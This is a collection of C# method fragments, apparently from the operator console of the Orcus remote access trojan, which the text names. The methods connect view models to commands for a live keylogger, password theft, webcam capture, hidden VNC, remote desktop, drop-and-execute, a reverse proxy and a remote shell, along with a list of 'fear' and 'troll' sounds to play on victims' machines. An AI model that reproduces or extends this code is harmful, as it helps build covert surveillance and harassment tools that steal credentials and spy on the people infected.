protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _windowsDriversCommand = clientController.Commander.GetCommand <WindowsDriversCommand>(); _windowsDriversCommand.DriversFileContentReceived += WindowsDriversCommandOnDriversFileContentReceived; CanEdit = clientController.Client.IsAdministrator || clientController.Client.IsServiceRunning; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _voiceChatCommand = clientController.Commander.GetCommand <VoiceChatCommand>(); _voiceChatCommand.CaptureDevicesReceived += VoiceChatCommandOnCaptureDevicesReceived; _voiceChatCommand.LocalBlockRead += VoiceChatCommandOnLocalBlockRead; _voiceChatCommand.RemoteBlockRead += VoiceChatCommandOnRemoteBlockRead; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { AudioFiles = new List <IAudioFile>( PluginManager.Current.LoadedPlugins.OfType <AudioPlugin>().SelectMany(x => x.Plugin.AudioFiles)) { new AudioFile((string)Application.Current.Resources["CameraShutter"], 0, AudioGenre.Troll, 1), new AudioFile((string)Application.Current.Resources["Laughing"], 1, AudioGenre.Troll, 2), new AudioFile((string)Application.Current.Resources["ComeOutAndPlayWithMe"], 2, AudioGenre.Fear, 31), new AudioFile((string)Application.Current.Resources["Death"], 3, AudioGenre.Fear, 2), new AudioFile((string)Application.Current.Resources["DemonGrirlsMockingbird"], 4, AudioGenre.Fear, 16), new AudioFile((string)Application.Current.Resources["Fly"], 5, AudioGenre.Troll, 23), new AudioFile((string)Application.Current.Resources["GhostOutOfMirror"], 6, AudioGenre.Fear, 19), new AudioFile((string)Application.Current.Resources["Growl"], 7, AudioGenre.Fear, 4), new AudioFile((string)Application.Current.Resources["HellMarch"], 8, AudioGenre.Fear, 25), new AudioFile((string)Application.Current.Resources["Mosquito"], 9, AudioGenre.Troll, 23), new AudioFile("Slender", 10, AudioGenre.Fear, 8), new AudioFile((string)Application.Current.Resources["TornadoSirens"], 11, AudioGenre.Fear, 45), new AudioFile("WTF", 12, AudioGenre.Voice, 3), new AudioFile((string)Application.Current.Resources["ZombieHorde"], 13, AudioGenre.Fear, 21) }.OrderBy(x => x.Genre).ThenBy(x => x.Name).ToList(); AudioPlayer = new AudioPlayer(); clientController.Disconnected += Controller_Disconnected; AudioCommand = clientController.Commander.GetCommand <AudioCommand>(); AudioCommand.AudioDevicesReceived += AudioCommand_AudioDevicesReceived; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { InstalledPlugins = new ObservableCollection <PluginPresenter>(); foreach (var pluginInfo in clientController.Client.Plugins) { var foundPlugin = PluginManager.Current.LoadedPlugins.FirstOrDefault(x => x.PluginInfo.Guid == pluginInfo.Guid); var plugin = new PluginPresenter { Name = pluginInfo.Name, Guid = pluginInfo.Guid, Version = pluginInfo.Version, IsLoaded = pluginInfo.IsLoaded }; if (foundPlugin != null) { plugin.Plugin = foundPlugin; if (foundPlugin.PluginInfo.Version > PluginVersion.Parse(plugin.Version)) { plugin.IsUpgradeAvailable = true; } if (string.IsNullOrEmpty(plugin.Name)) { plugin.Name = foundPlugin.PluginInfo.Name; } } InstalledPlugins.Add(plugin); } ((ConnectionManager)clientController.ConnectionManager).PluginLoaded += ClientPluginsViewModel_PluginLoaded; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _dropAndExecuteCommand = clientController.Commander.GetCommand <DropAndExecuteCommand>(); _dropAndExecuteCommand.UploadFinished += DropAndExecuteCommandOnUploadFinished; _dropAndExecuteCommand.StreamingStarted += DropAndExecuteCommandOnStreamingStarted; _dropAndExecuteCommand.StreamingStopped += DropAndExecuteCommandOnStreamingStopped; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _computerInformationCommand = clientController.Commander.GetCommand <ComputerInformationCommand>(); _computerInformationCommand.ComputerInformationReceived += _computerInformationCommand_ComputerInformationReceived; _computerInformationCommand.Failed += _computerInformationCommand_Failed; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { ComputerInformation = clientController.Client; try { var cultureInfo = new CultureInfo(ComputerInformation.Language); LanguageName = Settings.Current.Language.CultureInfo.ThreeLetterISOLanguageName == CultureInfo.InstalledUICulture.ThreeLetterISOLanguageName ? cultureInfo.DisplayName : cultureInfo.EnglishName; } catch (Exception) { LanguageName = ComputerInformation.Language; } if (ComputerInformation.LocatedCountry != null) { try { var region = new RegionInfo(ComputerInformation.LocatedCountry); CountryName = Settings.Current.Language.CultureInfo.ThreeLetterISOLanguageName == CultureInfo.InstalledUICulture.ThreeLetterISOLanguageName ? region.DisplayName : region.EnglishName; } catch (Exception) { CountryName = string.Format((string)Application.Current.Resources["UnknownRegion"], ComputerInformation.LocatedCountry); } } _clientCommands = clientController.ClientCommands; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _windowManagerCommand = clientController.Commander.GetCommand <WindowManagerCommand>(); _windowManagerCommand.WindowsReceived += WindowManagerCommandOnWindowsReceived; crossViewManager.RegisterMethod(this, new Guid(0xcf23f35b, 0x9e90, 0x634b, 0xbb, 0x60, 0x34, 0xcb, 0xb8, 0x78, 0x7c, 0x2c), new EventHandler <int>(OpenProcessWindows)); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _webcamCommand = clientController.Commander.GetCommand <WebcamCommand>(); _webcamCommand.WebcamsReceived += WebcamCommandOnWebcamsReceived; _webcamCommand.RefreshWriteableBitmap += WebcamCommandOnRefreshWriteableBitmap; _webcamCommand.Started += WebcamCommandOnStarted; _webcamCommand.StartFailed += WebcamCommandOnStartFailed; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _remoteDesktopCommand = clientController.Commander.GetCommand <RemoteDesktopCommandLocal>(); _remoteDesktopCommand.RemoteDesktopInformationReceived += RemoteDesktopCommandOnRemoteDesktopInformationReceived; _remoteDesktopCommand.Initialized += RemoteDesktopCommandOnInitialized; _remoteDesktopCommand.UpdateWriteableBitmap += RemoteDesktopCommandOnUpdateWriteableBitmap; _connectionInitializerCommand = clientController.Commander.GetCommand <ConnectionInitializerCommand>(); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { KeyItems = new ObservableCollection <KeyItem>(); _currentKeyItem = new KeyItem(); _liveKeyloggerCommand = clientController.Commander.GetCommand <LiveKeyloggerCommand>(); _liveKeyloggerCommand.KeyDown += LiveKeyloggerCommandOnKeyUpDown; _liveKeyloggerCommand.KeyUp += LiveKeyloggerCommandOnKeyUpDown; _liveKeyloggerCommand.StringDown += LiveKeyloggerCommandOnStringDown; _liveKeyloggerCommand.WindowChanged += LiveKeyloggerCommandOnWindowChanged; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _textChatCommand = clientController.Commander.GetCommand <TextChatCommand>(); _textChatCommand.NewMessageReceived += _textChatCommand_NewMessageReceived; _textChatCommand.ChatStatusChanged += _textChatCommand_ChatStatusChanged; _textChatCommand.ChatInitalizationFailed += _textChatCommand_ChatInitalizationFailed; ChatSettings = new ChatSettings { Title = "Support", YourName = "Administrator" }; ChatMessages = new ObservableCollection <ChatMessage>(); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { ConsoleCommand = clientController.Commander.GetCommand <ConsoleCommand>(); ConsoleCommand.Stopped += ConsoleCommand_Stopped; ConsoleCommand.Started += ConsoleCommand_Started; ConsoleCommand.ConsoleLineReceived += ConsoleCommand_ConsoleLineReceived; ConsoleOutput = new ObservableCollection <string>(); EventHandler <string> method = OpenConsoleWithPath; crossViewManager.RegisterMethod(this, new Guid(0xa8644e87, 0x2509, 0xa247, 0x9f, 0x5f, 0x2d, 0xa4, 0xbc, 0x70, 0xc9, 0x89), method); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { TaskManagerCommand = clientController.Commander.GetCommand <TaskManagerCommand>(); TaskManagerCommand.RefreshList += TaskmanagerCommand_RefreshList; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _startupManagerCommand = clientController.Commander.GetCommand <StartupManagerCommand>(); _startupManagerCommand.AutostartEntriesReceived += StartupManagerCommandOnAutostartEntriesReceived; _startupManagerCommand.AutostartEntryRemoved += StartupManagerCommandOnAutostartEntryRemoved; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _registryCommand = clientController.Commander.GetCommand <RegistryCommand>(); _registryCommand.RegistryValuesReceived += RegistryCommand_RegistryValuesReceived; _registryCommand.ValuesChanged += RegistryCommand_ValuesChanged; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _clientCommandsCommand = ClientController.Commander.GetCommand <ClientCommandsCommand>(); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _messageBoxCommand = clientController.Commander.GetCommand <MessageBoxCommand>(); }
/// <summary> /// Open a command promopt (console) with the given path as current directory /// </summary> /// <param name="crossViewManager">The current cross view manager</param> /// <param name="path">The current directory of the console</param> public static void OpenCommandPrompt(this ICrossViewManager crossViewManager, string path) { crossViewManager.ExecuteMethod(ConsoleOpenCommandPrompt, path); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { HvncCommand = clientController.Commander.GetCommand <HvncCommand>(); HvncCommand.IsOpenChanged += HvncCommandOnIsOpenChanged; HvncCommand.RenderEngineUpdated += HvncCommandOnRenderEngineUpdated; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _audioVolumeControlCommand = clientController.Commander.GetCommand <AudioVolumeControlCommand>(); _audioVolumeControlCommand.DevicesReceived += AudioVolumeControlCommandOnDevicesReceived; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { UninstallProgramsCommand = clientController.Commander.GetCommand <UninstallProgramsCommand>(); UninstallProgramsCommand.RefreshList += UninstallProgramsCommand_RefreshList; }
/// <summary> /// Open the window manager which is filtered by the given process id /// </summary> /// <param name="crossViewManager">The current cross view manager</param> /// <param name="processId">The id of the process which windows should be visible</param> public static void OpenWindowManagerWithProcessId(this ICrossViewManager crossViewManager, int processId) { crossViewManager.ExecuteMethod(WindowManagerShowProcessWindows, processId); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _reverseProxyCommand = clientController.Commander.GetCommand <ReverseProxyCommand>(); _reverseProxyCommand.ClientAdded += ReverseProxyCommandOnClientAdded; _reverseProxyCommand.ClientRemoved += ReverseProxyCommandOnClientRemoved; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { PasswordsCommand = clientController.Commander.GetCommand <PasswordsCommand>(); PasswordsCommand.PasswordsReceived += PasswordsCommand_PasswordsReceived; _clientController = clientController; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _command = clientController.Commander.GetCommand <EventLogCommand>(); _command.EventLogReceived += CommandOnEventLogReceived; }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _userInteractionCommand = clientController.Commander.GetCommand <UserInteractionCommand>(); _userInteractionCommand.Initialized += _userInteractionCommand_Initialized; }
/// <summary> /// Open the given path in the file explorer of Orcus /// </summary> /// <param name="crossViewManager">The current cross view manager</param> /// <param name="path">The path which should be opened</param> public static void OpenPathInFileExplorer(this ICrossViewManager crossViewManager, string path) { crossViewManager.ExecuteMethod(FileExplorerOpenPathMethodGuid, path); }
protected override void InitializeView(IClientController clientController, ICrossViewManager crossViewManager) { _deviceManagerCommand = clientController.Commander.GetCommand <DeviceManagerCommand>(); _deviceManagerCommand.DevicesReceived += DeviceManagerCommandOnDevicesReceived; _deviceManagerCommand.DeviceStateChanged += DeviceManagerCommandOnDeviceStateChanged; }